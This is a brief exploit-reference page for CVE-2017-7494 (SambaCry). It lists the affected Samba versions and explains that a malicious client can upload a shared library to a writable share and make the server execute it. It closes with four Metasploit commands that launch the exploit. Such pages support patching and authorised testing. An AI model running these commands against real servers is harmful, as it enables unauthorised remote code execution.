.. / CVE-2017-7494

• RCE
• Metasploit
• SMB
• Linux

Exploit for Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - Remote Code Execution (SambaCry, CVE-2017-7494)

Description:

Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.

Affected Products:

• Samba 3.5.0 < 4.4.14
• Samba 4.5.0 < 4.5.10
• Samba 4.6.0 < 4.6.4

Metasploit Module

Exploit with Metasploit

use exploit/linux/samba/is_known_pipename
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1
run

References: